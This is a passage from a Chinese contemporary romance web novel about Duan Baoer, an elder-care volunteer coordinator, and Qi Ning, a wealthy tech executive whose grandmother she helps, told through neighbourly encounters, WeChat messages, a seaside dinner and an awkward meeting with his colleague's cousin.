许博:“说起来,早知道我就不学医,去学个软件工程,机械工程,计算机的,这样你也可以欣赏欣赏我,把我直接内招去风行,不读这个博了。”
班长也恍然大悟,不再八卦,转而调侃:“你照样也要读的,现在学历贬值呢。”
席间气氛又继续热起来,只有大刘没说话。
他心情复杂地瞄了一眼祁宁,这人向来话不说满,又悄悄地言出必行。
当初祁宁准备去堵小混混,也只不过是在某个课间轻飘飘地留下一句。
“我今天没骑单车,你先回去吧。”
那时的大刘还是小刘,戴黑框眼镜,不似现在高。
祁宁开始抽条了,骨架大所以肩宽,把校服撑得很笔挺,瘦削,少年气重,脸也清秀许多。
小刘:“你要去哪?”
小祁宁:“去打架。”
小刘:“啊,这,打架……什么打架?”
十四岁的祁宁见大刘被吓到,才露出一个人畜无害的微笑。
“没呢,我就是这几天要去亲戚家吃饭,顺路经过那里,那几个人在那的话,也好告诉老师。”
天真的小刘信了。
后来才知道并没有什么亲戚和顺路,只是单纯地耐心蹲守十天,直到找人算了账。
这样的事渐渐发生过几次,如今的大刘便不再信。
这些举动说起来有些奇怪。但大刘认为,每个人有些不自知的小癖好,也正常。
祁宁自己可能都并未意识到,他偶尔说话看似不着边际,但第一句石破天惊的玩笑往往才是真的。
……所以在“欣赏她”之前的一句,是什么来着?
*
饭毕,祁宁结了账,大刘想送二人回酒店,富二代说有司机接,婉拒了。
“你朋友挺周到的。”富二代叫江屿诺,对大刘印象挺好,此时和祁宁一左一右坐在车后排。
祁宁阖着眼睛,抱胸闭目养神,“他也是大学毕业就进去工作了,在单位和领导关系挺好的。挺久没见了。”
江屿诺:“那明天还一起吃吗?你跟我。”
祁宁:“明天回奶奶家,我跟秘书说了,周一他会接我,直接去产业园区对接。”
“那我呢?”
祁宁:“逛南市吧,明天别喝酒,有事找我秘书。”
“什么时候有空单独和我吃饭啊?”
“别想着悄悄组局。”祁宁侧头,“你直接跟你妹妹说约不到我吧,我没空见。”
表情温和,只是,怎么听都没多少耐心。
江屿诺遗憾,但习惯了祁宁的独来独往和边界感,也没再说什么。
*
三月的阴雨到了四月上旬才消停。
正值周日,清明雨彻底落尽,前几日时而遮住太阳的云也散去,终于是彻底的晴好天气,温度升高。
建设小区的不少楼顶和窗台都晒上了被子,空地上也搭起了晾衣杆。
花色各异的棉被和被套被方方正正隔为两半,尽情散发棉絮沐浴阳光后的干爽气味。
端宝儿却窝在卧室里,如发霉的蘑菇。
她抽了本书看,读不进去。
电话铃声响起来,心里又是一惊。
拿起一看,还好是熟悉的号码。
“喂?”
是前台,“小端姐,你有个快递放这了哦,你今天来店里的吗?”
“不来。”
“哦~”前台压低了声音,揶揄地问,“说起来,我还想等你来了店里问呢,昨天那个男生是怎么回事呀,小端姐不会真的有情况了吧?”
“能有什么情况,我又不是学车爱上教练、军训爱上教官的那种人,人就一邻居奶奶的孙子,还是找我茬的,能有什么关系。”
端宝儿尽量缓了语气,前台还是听出她情绪不佳。
“不好意思,小端姐,我是听说昨天那个男生条件不错,才想开玩笑……”
“没事,人家没道理一眼看上我,顶多是认可我的工作。”
挂了电话,端宝儿又在小沙发上躺下了。
床上只有白花花的被芯枕芯,只能窝在小沙发。
被套枕套她丢进洗衣机了。本该趁早抢个好位置晾晒,却因为昨夜失眠,不小心在小沙发上窝着睡着,醒来已与楼顶的所有好位置错过。
怎么诸事不顺。难道是因为接到了C市来电?
端宝儿从沙发上爬起来,她家只有采光不好的老式阳台,半窗半墙的那种。
外边高大的树木将阳光尽数占去,掉进来七零八落的光斑。
难晒干。
她巡视一圈,认命,用大塑料盆装了被套枕套,又把被芯披在肩上,坐电梯下楼去。
正巧,小区里开进来一辆黑亮的车,一尘不染,在眼熟的一众落灰小车里显得突兀。
端宝儿顶着反光,眯眼看了一下车标。
两个小翅膀,是辆豪车。
这是谁家的有钱孩子回来了。
端宝儿又往边上靠了靠,贴着绿化带走,准备拐出两个单元之外的空地。
快走到时,却看到迎面驶来的那车在她不远处停下,后座打开,利落地放下两条匀称的长腿。
还没来得及思考,那富有冲击力的长相便完整地呈现在自己面前。
……不是祁宁是谁。
他还是那样器宇轩昂,有一种每天都睡足了八小时的健康美。
虽然是休闲风格的衣服,质感裁剪却很好,没有多余的褶皱,将完美身段一览无余地展现。
可能衣服偏薄,所以戴了顶冷帽,这种帽子端宝儿一向觉得不太好看,可他戴起来也合适得很,让人的注意力更集中在那张脸上。
还是不像做生意的人。
脸撑起了时尚度,像模特。
但驾驶座的人穿得商务,衬衫长裤,很熟练地快速下了车,走到后备箱给祁宁提东西。
好体面。
别看到我别看到我别看到我别看到我别看到我别看到我别看到我。
一秒钟内,端宝儿脑中飘过一大段话。
她今天洗头了,但没怎么梳
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,头发松散地披在脑后。
仍然没化妆,还穿着宽松的短袖睡衣和五分睡裤,有叠出来的痕迹,上面印着可笑的可能没正版授权的小熊。
在这个天气这样穿,是该有点冷的,可她肩膀上披着大棉被,像个超人,只不过还端着脸盆。
比昨天更不体面。
偏偏那祁宁就是转过头来了,不看后备箱,而是朝着车头,仔细地看了她一眼,才露出一个浅浅的,礼貌的微笑。
这微笑的弧度不大,端宝儿却莫名认为,他此时心情尚可,兴趣十足。
祁宁向她扬了扬下巴,“晾被子?”
尬聊,不如不打招呼呢。
端宝儿很勉强地扯了扯嘴角。
既然被看到,干脆身体也挺直了,“你来奶奶家?”
没睡醒的迟钝脑子终于想起祁奶奶就住这单元的三楼。楼层不高。
早知道绕远路。
祁宁:“我正好带了些吃的,拿一些走吗?”
她摇头。
祁宁说话时,眼神莫非总是很专注地落于对方身上?比如此时,他的视线便牢牢钉着她。
端宝儿真希望他不要这么专注。
小区的道路不算宽,不可避免地路过祁宁跟前,只觉得他的影子被斜前方的太阳拉得更长,将自己全都罩了进去,严丝合缝,密不透风。
好在很快地结束了寒暄。
端宝儿松了口气,快走几步,跑出了两栋楼之间的过道。
总觉得那视线还盯着自己的后背,一分神,拖鞋却显些滑脱向前飞出,还好她脚也及时跟上,踩住了拖鞋,没出现招笑的画面。
……可恶。
走到空地跟前,被子也晾满。
找了一圈,松松位置,一口气把东西都挂上去,还剩床单实在晾不下。
端宝儿忽觉近日来总是委屈。
仰头憋气,不免颇为心酸。
*
祖孙二人见了面,介绍过礼物,忽然就不再有什么话说。
陈秘书本来被祁奶奶叫上楼喝茶,喝两口就后悔了。
气氛实在很闷,他倒是可以和第一次见面的老板家人多说些什么。
但活跃气氛算是一种加班,陈秘书很快找了借口开溜。
剩下祁宁坐在沙发上,电视咿呀呀地放映着戏曲,他端着水,似乎看得认真。
祁奶奶也不知道该说些什么好。
她决定把缩在阳台上的老泰迪抱出来,给祁宁看看。却眼尖地瞥见楼下不远处站了个熟悉的人影。
“那好像是我和你说过的小端。”
祁奶奶有点老花,看远处的东西还行,但也不算特别清楚。
她挺高兴,话题找上门了。
祁宁起身,迈了两步,到阳台边。
端宝儿果然还在那儿,厚重的棉披风已经晾起来了,单肩挂着床单。
不怕衣服湿么。
祁宁视力好,能很清楚地看到端宝儿嘴角微撇的别扭表情,很认真地在……伤心?
不会在哭吧。
脑中突然就浮现,前一天她闭着眼睛掉眼泪的模样。
睫毛长而翘,睫毛根也密,帽子被掀起时,头顶的几根碎发亦不安分地翘起。
流了很多泪,却俏皮生动。
但刚才她头发十分柔顺地向下铺开,显出发质很好的、光泽感十足的黑来。
不知道是不是因为刚洗过澡,皮肤白而润,透着更明显的粉意,笔直的小腿甚至比脸更白,被温润的阳光一照,几乎发光。
没有流泪,却看着憔悴蔫吧。
她刚才在躲自己。
为什么?
5. 楼上楼下
远处,端宝儿看起来不大聪明,没甩干的床单搭在肩上,深深叹气,掉下两滴泪水,又抹一把脸。
被刁难了也不动声色,足够圆滑精明的人;背地里晾个床单就哭了。
祁宁暗暗挑眉。
下属工作犯错被训哭他不会心软,只会觉得两句话就哭,没用还不抗事。
可端宝儿一不为他工作,二不为他挣钱,三不领他工资,四没失误;平白无故在当微信上挨了一天脸色,也没说过什么。
直到今天见她哭,祁宁忽然又有点迟到的内疚。
……所以在他误会她诈骗的那一天。那时她也会像这样哭吗?
“她站那晒太阳呢,多舒服。我们这明明都是坐北朝南,但采光一般,改明天我也下楼晒晒。”
祁奶奶抱着小狗,看不清端宝儿的神色。
“是啊。”
祁奶奶:“我跟你爸说有个姑娘人对我好,他还非说人是来诈骗我的,哎。”
祁宁:“……嗯。是不该。”
祁奶奶:“你爸,他最近都在B市吗?”
祁宁:“我一个月打一次电话。”
二人沉默一阵。
祁奶奶:“……你妈妈最近怎么样?”
祁宁:“之前打了个视频,她小孩上小学了。”
祁奶奶:“美国的小学啊,会不会听不懂老师说话。”
祁宁:“嗯……那小孩从小就说英语,没事的。”
泰迪挣扎两下,被祁奶奶顺势放到了地上。
旁边的阳台相对够高,但没封起来,祁宁便也伸手接了一下,免得泰迪意外蹿下去。
余光一扫,端宝儿还站在那,但是在打电话。
她好像变高兴了,还是肉眼可见的很高兴。
虽然端宝儿只要跟人聊天,都会摆出认真倾听的模样,很自然地露出笑脸,好似听对方说话是一件无比愉悦的事。
祁宁却还是好奇她此时会是和谁说话。
祁宁:“您说的那个小端,她还站在那呢。”
聊到端宝儿,祁奶奶心情好了,话也顺了,“这小孩挺爱晒太阳。”
其实不是的,刚才她在伤心。
但祁宁没说,漫不经心接了一句,“在和男朋友打电话吧。”
“不是吧,她没男朋友的。现在小孩都不爱谈恋爱,生育率掉得快哦。”
祁奶奶回客厅拿东西,祁宁点开和端宝儿的聊天界面,表情包的小猫和她头像挺像的。
他想了想,发了消息。
*
“端端,你那里能联系社区,设几个志愿岗位吗?”
是大学时的辅导员打的电话。
辅导员:“我的学生说,抢不到校内志愿,最近校外又没有特别好做的,方便的话,有几个想去你那助老。”
端宝儿:“行啊,来吧。”
端宝儿所在的社区中心在志愿平台注册登记过,是可以发起活动并进行认证的志愿组织。
她经常在那边走动,基本等同于她可以发起活动,方便学生加志愿时长。
端宝儿:“不过他们不嫌远吗?”
导员:“还行吧,坐地铁坐到底再打车一程呗。可能是上次你带了几个人,口碑挺好,他们还想来呢。”
端宝儿:“没问题。姐你现在转去哪个学院当辅导员了?”
“人工智能院,带大三,他们之前的辅导员升了。”
“行,你把联系方式推给我,约时间就行。”
端宝儿和辅导员打完电话,心情好些了。
辅导员人好,照顾过在校时“不务正业”的她。
如今反过头关照导员的新学生,也是理所应当。
通话界面关闭后,新消息的红点很显眼。
祁宁:【要不要帮你晒被子?】
端宝儿:?
好突兀的一句话。
她抬头看,原来祁宁独自站在祁奶奶的窗台,正撑着胳膊看她。
二人对视上,他小臂抬起来,挥了一下手,算是打过招呼。
风拂过树叶,猎猎作响,周身各色的床单被套也被吹得飘起来。
端宝儿不知该说点什么,那边可能听不见,于是也挥手,低头发送:
端宝:【谢谢,不用[微笑]】
祁宁回得很快。
祁宁:【看你站了好久,湿床单不要贴身挂着。】
祁宁:【黑猫鞠躬.jpg】
有些强势的语气,像家长的关怀,但紧跟一个略显憨厚呆萌的矮脚猫表情。
无论哪种,都和他的形象不大符合。
端宝儿有些不自在,她不习惯被“关心”,更别提并不相熟的祁宁监督她……别着凉?
有些冒犯,所以想冒犯回去。
两人的直线距离没多远,但不方便彼此喊话,端宝儿很快回了消息:
端宝:【[憨笑][憨笑]】
又抬头,祁宁还站在那,很慵懒地单手打字。
端宝:【手机别伸出阳台,小心摔下来[憨笑]】
祁宁似乎当成了关心。
他竟然乖乖把手伸回去了,规规矩矩站在阳台里。
好高一个,感觉离顶到天花板也不远了。此时没戴帽子,外套也脱去,就穿了件短袖,十分居家的穿着。
祁宁又发了曼基康矮脚小黑猫的表情包,是“谢谢”。
端宝儿笑出来,他谢什么呢,她只是带一点恶意地学他说话。
走了两步,才想起来是谢她提醒手机要掉下去。
心底升起一种欺负老实人的错觉。
还是正常地寒暄两句吧。
端宝:【祁奶奶呢?[微笑]】
端宝儿今天也在保持人设,特地加了微信的黄豆微笑表情。
小黄豆的眼白很多,括号一样弯起的嘴角看着欠揍。
祁宁:【在给小狗梳毛。】
端宝儿:【哈哈[憨笑]平安的毛还挺容易打结的。】
端宝:【[憨笑]我先走了[微笑]】
对方没再回复,聊天到此为止。
端宝儿上滑消息看了看,没想到上一周那样不对付的两个人,见过面后,相处的氛围竟然出乎意料的自然。
回头一算,祁宁总共也没说几句话,但就是有一种淡淡的熟稔和亲近感,似一杯泡至三泡的绿茶,柔顺好入口,与春天正相称。
竟然是个温和的好人呢。
当然,端宝儿若是看到祁宁的表情,或许就不会这么觉得。
在端宝儿看聊天记录时,祁宁也盯着聊天界面,眼神深沉,且看了很久。
“我先走了”,祁宁多看了两遍。
想起,她走时头发被风吹起,抱着空脸盆,轻巧俏皮,发的语句也是,像家人出门报备。
家是什么感觉,是洗衣液的香气混着阳光的味道吗?她刚才身上也是那种味道吗?
真想闻闻看。
祁宁记得前一天见面时,帮端宝儿看眼睛里的虫子,凑近了,她身上有一股很浅的香气,不腻,说不上来是什么香调,但在生理上,他直观地感到好闻。
“这房子视野一般,但空气还好吧。”
祁奶奶发觉祁宁还站在阳台,让他进屋。
“嗯,都挺好的。好闻。”他答。
顺便从祁奶奶手里接过泰迪,“我来梳。”
祁宁低头梳狗毛,手感上,是有一点打结。
叫平安的这只泰迪,散发着一股糯米浆似的狗味。
“对了,你加上小端微信了吗?”祁奶奶问。她和平安大眼瞪小眼,平时闹腾得不得了,一到孙子面前就安静又乖巧。
怂呢。
“加上了。”祁宁食指勾着平安的下巴,小狗抬起头任他轻挠。
祁奶奶还是有点感慨。上次她和祁意伟提起,在上手工课,祁意伟非说她被骗了,两人在电话里闹得不大愉快。
祁意伟还转头就把这事告诉祁宁。
所以接到祁宁电话时,祁奶奶还以为祁宁要帮他爹说
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话,母子之间的矛盾要扩张成祖孙三人的。
结果没有,祁宁客客气气的,还通情达理地要走了小端的联系方式。
“这周三还约好一起吃饭。”祁宁说。
“那你可要打扮了再去,别像和大刘吃饭一样随意。”
“嗯,我知道。”
*
周三上午九点。
端宝儿坐在大众车里,在碧湖公园北门的地铁站等人。
来了三个同校的学弟学妹,两女一男。
“我们今天没课,就来这边做志愿,麻烦学姐了。”
端宝儿:“小事,现在毕业的志愿时长要求是一样的吗?”
“一样呢,要六十小时,主要我们也想多刷一点,可以加综测。”
端宝儿发动车,“吃过早饭了吗?”
“吃过了。”
端宝儿便直接把人拉到了街道养老中心,争取给学弟学妹录上八小时的时长。
中午,她给三人买了饭,几人坐在一起吃。
“哇,谢谢学姐。你晚上要和我们一起吃饭吗?我们在网上看到这边有一家老店很正宗。”
端宝儿笑笑,“我晚上有约。”
几人遗憾作罢,又聊起临近毕业和工作的事。
他们大三下期,课少了许多,重心从学习变成敲定接下来的规划,比如准备继续读研,还是积攒实习经验。
学弟学妹的规划都很清晰。
一个学妹想争取保研,一个学妹准备去喜欢的游戏公司实习,至于学弟,是南市本地人,说:“想去C市的风行实习。”
几人可能是想在学姐面前表现出积极上进的风貌,以得到来自学姐的欣赏和分享,七嘴八舌。
可端宝儿这个学姐无感,也没什么能给的意见,默默扒饭。
和读强势大学的王牌专业,绩点优秀的几个学弟学妹不同。
端宝儿当初高考,为了被南市的A大录上,分数压线的她,特地选了弱势专业。
入学后,整个专业都是被放养的人。
她还不像同学那样急着转专业,也不准备考去学科更强势的高校读研。
完全没有追求和规划。
大一阴差阳错到建设小区养老中心做志愿后,她便把大多数时间用在了这边。
学妹:“风行?好像这两天他们的江总来南市了哦。”
另一学妹:“有刷到他们的无人机和无人车,好像是要在这边建科技农场,加设产线,好像还和好几个实验室签了合作。”
学妹:“风行在南市建分部的话,你就可以留在家里实习了哦。”
学弟:“好难进,希望如此。”
学妹:“不过江屿诺是真的帅,风行推他抛头露面真是可以,在企业形象上赢了。”
另一学妹:“我听在风行工作的学姐说,他们的总裁才帅,而且特别年轻,比江屿诺还小一点……那个人才是大股东和实权人呢。”
学妹:“那人神秘好多,网上翻来覆去就那几张证件照。”
另一学妹:“证件照也帅啊,感觉是狼系男,眼神特别劲劲的。”
端宝儿知道风行,但没上心,不太专心地听着学弟学妹说笑。
到下午五点多,她把三人送去饭馆门口,学妹状若不经意地问了一句:“学姐晚上是和男朋友吃饭吗?”
端宝儿微愣,想也不想地否认了。
另一个就说:“学姐应该是单身吧。”
“是的。”
端宝儿没注意学弟有些发红的脸,她满脑子都是赶时间回家一趟,化妆。
毕竟,和体面的人吃饭,她多少也想体面一点。
早上出门前洗了头,此时还非常蓬松柔顺,没问题;
上了粉底之后简单地修容,刷睫毛膏,修眉,涂唇膏,不算复杂的步骤,但看上去更加精神。
今天天气又阴冷了些,端宝儿把白日的毛衣牛仔裤换掉,决定穿长袖的长裙。
到小区门口,祁宁已经等在那儿了。
6. 雨夜
祁宁今天开的竟然是超跑。
端宝儿惊疑不定地多看了一眼,在她印象里,祁宁不是个物欲很高的人,还很接地气,会在楼上看她晒被子。
但他开了超跑。
躲不过玩表和玩车两个爱好么。
上了车才看清,他穿着还算随意,卫衣。
棒球帽放在车里,没戴在头上。
车内空间不大,只有两个座位好坐,端宝儿自然与祁宁离得很近。
她笑着比了一下车尾,“怎么是C市的车牌。”
“嗯,缺一辆车开,临时运过来的。”
其实不是缺车开。
祁宁是想开车的时候离端宝儿近一点,所以两门跑车最好,人百分百坐他旁边。
虽然换作别的车,端宝儿大约也不会放着副驾不坐,特地坐后排去。
但是万一呢?
祁宁还是觉得跑车稳妥。
车准备对了,但衣服不是。
祁宁的卫衣和帽子不是随便选的,他只是觉得端宝儿第一天见到他时最热情,所以还原了第一天的风格。
但端宝儿好像无动于衷。
相反,他们下车的时候,身边走过去一个身材不错的上班族,看起来像是刚从金融机构出来,穿着成套的西服和皮鞋,步履匆匆,端宝儿竟然多看了两眼。
那人鞋不好看,肩也有点斜,撑不起来衣服。
失算,难道她喜欢那种风格?
正如祁宁观察到的,端宝儿真的在看那个下班的人。
她颜控,对身材好长得好的男女老少都有一种普世的欣赏。
走过去的上班族穿搭挺好看的,端宝儿自以为瞄的一眼隐蔽不留痕迹,一抬头,发觉祁宁正意味深长地看着自己。
端宝儿心里一跳。
她回想刚刚的眼神,应该也不算很失礼,短暂的心虚结束,干脆朝祁宁笑笑。
祁宁微愣,很快偏开了头。
他感到有什么不受控的东西正在膨胀。漏了气的心脏被什么东西填充满,鼓胀后,是踏实的舒适。
端宝儿就走在他的身侧,没有刻意隔开距离,也没到肢体相接的程度,但是——很近。
他可以看清她今天戴了耳钉,贴着下嘴唇边缘的地方有一颗好浅的小痣。
第一次见端宝儿穿裙子,布料很薄,披了一件针织外套。
她很适合穿裙子,脚踝细,腿长,腰线高,背薄而挺拔,脖颈修长,只是没说话。
她和那些老人相处,不是一直精神很足地说话吗?
然后把每个人都哄得很开心。
祁宁好奇那是什么感觉。
会比每天收到她消息的感觉更好吗?
回想刚加她微信的那天,祁宁心情并不好。
他讨厌处理家事,即使是再普遍不过的“老年人被诈骗”,作为孙辈理应关心的事,因为缀了一个“家”字,便不可避免地令他感到厌烦。
从前见过的争吵,每个人崩溃的嘴脸,那些歇斯底里的声音,没底气的暴怒、冷笑的决绝、无能为力的垂泪,混乱的关系,□□碰撞的声音,记忆像混杂着垃圾的海水,散发着难闻的气息,每次提起“家”这个字,便会涨潮,变成泥浆,一次次试图将他淹没。
所以加上端宝儿后,判断出或许是误会,祁宁也没有心力深挖,或者道歉。
和家事挂钩的人或事,他一概只觉得劳累厌烦。
不想解决,又只想快点解决;因此逃避。
所以面对端宝儿简短的解释,他没回复。
但端宝儿喋喋不休地找他说话。
那时祁宁在洗澡,裹着浴巾出来,一下多了十二条消息,他当然看得出端宝儿悄悄发表情包是在表达不悦,但看起来很有趣。
她虽然不高兴,却真的很礼貌,一边不悦一边耐心地哄他这个家属,有种窝囊的幽默,祁宁突然就笑了。
所以就算是骗子,他也答应提前跑一趟南市。
而端宝儿竟然还不罢休,每天都很积极地发消息。
像养了一只非常活泼的电子宠物。
接下来的一周,祁宁每天洗澡前,都不可避免地有些许期待。
猜测出了浴室后,会有多少条未读消息;这是一种新鲜的乐趣。
最多的一天,洗完澡,接到了三十五条新消息,晚上九点,端宝儿还特地找了好些奶奶的照片发给他。
还发了很多[憨笑]和[微笑],好像他不是年轻人,看不懂这是阴阳怪气的表情似的。
但她又没有恶意,就是单纯的窝囊。
若是这样的家事,好像也不是很沉重。
虽然不排斥聊天,祁宁坐上飞机来南市的那天,还是迟滞地感到不悦。
因为他总是在为支离破碎的家多此一举。
于是又迁怒端宝儿。
但见了面,她还是耐心地哄他高兴。
眼睛亮亮的,不是恭维也不是应酬的微笑,让人舒适的真诚;
机灵地说着话时,被蚊子弄哭了,让人在意的笨拙。
可见过面后,“公事”已了,端宝儿就不再那样频繁地发消息了,尤其这三天,几乎没说话。
今天的晚餐,祁宁选在了私人餐厅。
整层楼只有他们两人落座,落地窗外是海,海上是即将消散的一抹晚霞。
从北华区的北边开车过来,花费了些时间,不然应该可以在这里看到瑰丽的日落和与天际交接的海平线。
不是什么稀罕的风景,但能增添一点吃饭的乐趣。
端宝儿没怎么在南市看过海景,同在南市,滨海区离北华区和大学都隔很远。
她刚落座,正想往窗外看一眼,却听到祁宁问:
“你最近几天很忙吗?”
端宝儿:“还好。”
她没来得及回问“你呢”,就听祁宁说:“你最近都没给我发消息。”
端宝儿:?
怎么有一点……哀怨?
祁宁笑的幅度很小,但还是笑了,解释道:“你上周不是每天找我很多么。”
原来是秋后算账,端宝儿差点误会成这是冒犯的暧昧对话。
她捋了捋鬓角的头发,为当时的消息轰炸的“骚扰”进行开脱:“那时候想快点把误会解决嘛。”
仔细一想,上周真的发了超级多没用的话,看来真的是吵到祁宁了。
“你很喜欢微信的表情包吗。微笑的那个。”
……?
糊弄失败,原来祁宁真想纠着上周的事不放。
看来这人设是不得不做实了,端宝儿一狠心,点头:“没错。”
端宝儿笑会露出上排牙齿,祁宁更像习惯闭着嘴笑,单纯的嘴角弯起来,笑意自鼻腔向外,微不可闻地轻哼出声。
二人没让侍者在旁,他见端宝儿吃得慢,帮端宝儿舀了一碗汤,递到她碗边。
“之后也给我发消息吧。”祁宁说,“能看到你分享我奶奶的日常,我也会安心。她不是没在你们机构交钱么,你平常在小区里照顾她,我也应当付钱给你。”
他不由分说,当即给拿起手机扣了个数。
端宝儿在便利店买可乐都没他这样潇洒,因为她会检查付款界面到底花费3元还是3.5元。
有钱果然很松弛。
端宝儿余光不可避免地向亮起的手机屏幕看去——
他给她转了两万。
两万!
对这种爽快又目标明确的人,比起推脱,花钱办事更能让他满意。
端宝儿谢过,问:“方便问一个问题吗?”
祁宁:“什么?”
“奶奶都是一个人住在这边,你家人是不是都很忙?”
因为她总是看到祁奶奶一个人遛狗,老
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人在家多少会让人不放心。
但是在祁宁之前,她真的一次也没偶遇过祁奶奶的家人。
“嗯……”祁宁很坦然,“很正常,奶奶是独生女,没别的兄弟姐妹,爷爷走很久了。我爸当初家暴出轨,离婚后定居B市,有个比我小几岁的儿子。我妈定居美国,有个刚上小学的儿子。他们彼此都不怎么来往。”
端宝儿:……
她想过祁宁爸妈离婚,但没想到这么复杂。
活在夸赞声中的完美祁宁,实际上还有两个异父或异母的弟弟,这是在小区里都没听过的消息。
“抱歉。”
“没事,这不是什么不能说的。”
端宝儿态度本就很好,接下来更是体贴了许多,暗中十分关注祁宁的感受。
她不希望勾起他人的痛事,让他们情感上受伤。
祁宁自然感知到她的在意。
忽然想起从前,他爸出轨,让人怀孕,临近生产才被撞破。
那女人也可怜,发现自己被有妇之夫骗了,但为小孩生活质量着想,选择了继续牵扯。
在接下来的两三年,都在外逼他爸离婚。
这事一开始瞒得很好,但被他撞见过那家人对他爸示弱博同情的样子。
这孩子不能从小就没有爸爸。他不像你小孩那样有能干的妈妈和体面的奶奶……不想他抬不起头。没有你的话我会很辛苦。
那嘴脸让祁宁十分不齿。
把弱点暴露在他人面前,是难堪的,是危险的,是下流的。
但有朝一日,他也为了得到关注而故意示弱,却只觉得这方法好用极了。
他没有和睦的家庭,没有相爱的父母,没有完整的来自长辈的爱,所以也多关注他吧。
于是端宝儿此刻……果真非常在意他的心情。
淅淅沥沥下起了雨,玻璃窗渐渐变得模糊,灯源晕开,走到停车场的小段路,有侍者送,但祁宁拿了一把伞撑着,送端宝儿到副驾落座。
回程的道路更空,从滨海公路到市区高架,雨并不停,水珠顺着车身飞速向后淌去,车内却在放着舒缓的纯音乐。
好听。
端宝儿向左边看,便能见到祁宁在十分专注地开车,他袖口仍然是挽到接近肘关节的位置,露出很完美的小臂线条,端宝儿不知道那白皙皮肤上略微凸起的纹路,是血管还是青筋,总之很诱人。
……哇。
力气很大的样子。
她偏头看向右侧。
高架外,亮灯的建筑群在雨夜如同拢上一层薄雾。其实出了北华区,只看南市的市中心,它是一座繁华也足够现代化的都市,也难怪能吸引各大企业入驻其间。
端宝儿问:“你今晚回奶奶家休息么?”
“回酒店。明天还有事。”
“……唔。”端宝儿预感祁宁是准备把她送回北华区,再原路返回市中心,绕路。但她也不至于半路让祁宁别送。于是老实承受这份好意。
车行至市区后,下了高架。
“可以在便利店停一下么?我想去买瓶水。”
这车不常使用,刚从C市拖来,祁宁顿了顿,发觉车里是没放喝的东西。
他看一下方位,这地方正好离他住的酒店很近,不用导航,按着印象,就近找了家便利店前停下。
雨停了,端宝儿自己下了车。
店前的伞下放着几张露营椅,一男一女坐在那聊天,端宝儿没在意,径直走进便利店买水。
江屿诺却一眼注意到停来一辆车,是他喜欢的车型,车上下来一个美女,这也没什么奇怪的。
但他定睛一看,这车牌是C市的,略微眼熟,因为他老板祁宁好几台车的车牌,都含固定的两个数字……
索性走近一看,车窗摇下,驾驶座上的人好像是……
祁宁?
江屿诺:?
7. 故人
“你怎么在这里?”
车窗刚下,祁宁先行发问。
“我妹来看我,我们就在这喝……”
江屿诺扭头,便利店外边的桌上放着一瓶威士忌,表妹带来的,找他玩来着。
但祁宁提醒过,这几天日程很满,别喝酒。
所以他没答应表妹去酒吧,在最近的便利店买了些饮料和冰块,兑着威士忌喝。
怎么还是撞上祁宁了?
不是上班时间,却有种摸鱼被老板抓包的错觉。
江屿诺选择性叙述:“我们就在这聊会天。”
顺便给表妹使眼色。
这是祁宁啊,你想追的祁宁在这!
江屿诺故意挺直身体避开祁宁的视线,祁宁没看见他的小动作,点了点头。
祁宁:“继续聊吧。”
江屿诺忽然想起,该疑惑的是他才对。
祁宁怎么深夜载着个女孩路过便利店?亲戚?妹妹?
正要开口问,那女生拿着两瓶水回来了。
端宝儿给祁宁买了水,出了便利店,却发现副驾旁站了个人,在弯腰和祁宁说话。
正好挡住上车的路,她便没急着上车。
但江屿诺察觉到她的动静,侧身看,让出半个身位,露出祁宁的脸来。
“上车吧。”
祁宁看到端宝儿,言简意赅。
端宝儿:“哦。”
端宝儿走近一步,江屿诺正搭着副驾的车顶,没及时让开,两人对视了一眼。
端宝儿:……这谁啊?
祁宁的朋友吗。
端宝儿注意到江屿诺朝一个方向轻轻摇头,于是看向他视线的方向,另一个女生已经快步走了过来。
原来是一开始坐在那儿的一男一女。
“祁宁哥!”女生很是雀跃,“是你啊!你都来南市了,有空一起吃饭啊!”
祁宁在车里点点头,探身,直接帮端宝儿开了车门,江屿诺便不由往后靠了些,空出一块位置。
“上车吧。”祁宁重复。
端宝儿不认识这二人,想来跟自己也不会有什么交集,便直接上了车,顺手把水递给祁宁。
她的身形把祁宁挡住,车发动时,那二人的目光好像都落在了自己身上。
尤其是那个女生,盯得很明显,笑容凝固在嘴边。
端宝儿:“……你朋友吗?”
祁宁:“不是。”
顿了两秒,祁宁说:“有一个是,是同事。”
端宝儿便没接着往下问。
那两人究竟是谁,她也没那么感兴趣,毕竟和她没关系。
可祁宁接着解释:“另一个不是,是他妹妹。”
“哦!”端宝儿这下把人对上了,“所以她刚才约你吃饭。”
祁宁看她一眼,“我不和她吃。”
既然祁宁这么说了,端宝儿也就不再问。
吃不吃饭的,不是大事,跟她也没关系。
*
“什么情况,他女朋友?你不是说他单身吗?”
“而且一眼穷b女大学生,穿得什么玩意。”
面对表妹的不满,江屿诺也很头疼。
他和表妹说,祁宁工作忙,这次约不上饭,让表妹一度很失落。
两人喝酒聊天,好不容易把这事忘了。
转头就看到祁宁在雨夜带着别的女孩兜风?
江屿诺一开始见那女孩从车上下来,只惊讶跑车的车牌。
果真看到是祁宁,自然更惊讶于祁宁把车运来南市了,而短暂地把女孩抛到了脑后。
也就忘了把两人联系在一起。
毕竟,在他印象里,祁宁工作之余,一直喜欢独处,也从未见过身边有什么人。
……自然更不会往那方面揣测?
至于表妹,一开始就背对马路,根本没看见女孩下车。
后来他站在车前,使眼色叫表妹过去时,两人都没意识到那走近的女生会和祁宁有什么关系。
直到祁宁淡淡地催促女孩上车;江屿诺才明确地意识到——
两人真的是一起的。还很……亲昵?
不该让表妹过来,可来不及阻止了。
于是,不仅祁宁带的女生撞见了表妹发出邀约,表妹也撞见了祁宁让女生上车。
“……谁啊那是?”
表妹还在生气。
江屿诺:“不可能是他女友。”
理顺思路后,江屿诺笃定道,“来南市前从没看见祁宁和哪个女生有来往,我猜,应该是他奶奶这边的亲戚。我晚点再给你问问。”
“亲戚吗。”表妹抱着胳膊,不太高兴地用鞋尖踢凸起的地砖,“但是我又感觉她特别眼熟。”
“是不是你在这边见过?”
“不是,是像高中同学。”表妹突然问,“你还记得谢铮吗?”
江屿诺:“你朋友?那个帅哥?”
他和表妹读过同一所的高中,大约走的路线是高端定制培养方案,校内分了不同方向的,力求每一个学生都照顾妥帖。
江屿诺参加竞赛考了国内高考,但表妹主要是打发时间,随便申请了国外高校混日子的。
表妹在混日子的间隙,一度经常提起,有个很帅的学霸叫“谢铮”,在她心中是校草的程度,超级优质。
刨去在那所学校最不值一提的“富”,他占据更稀有的两项“高”和“帅”。
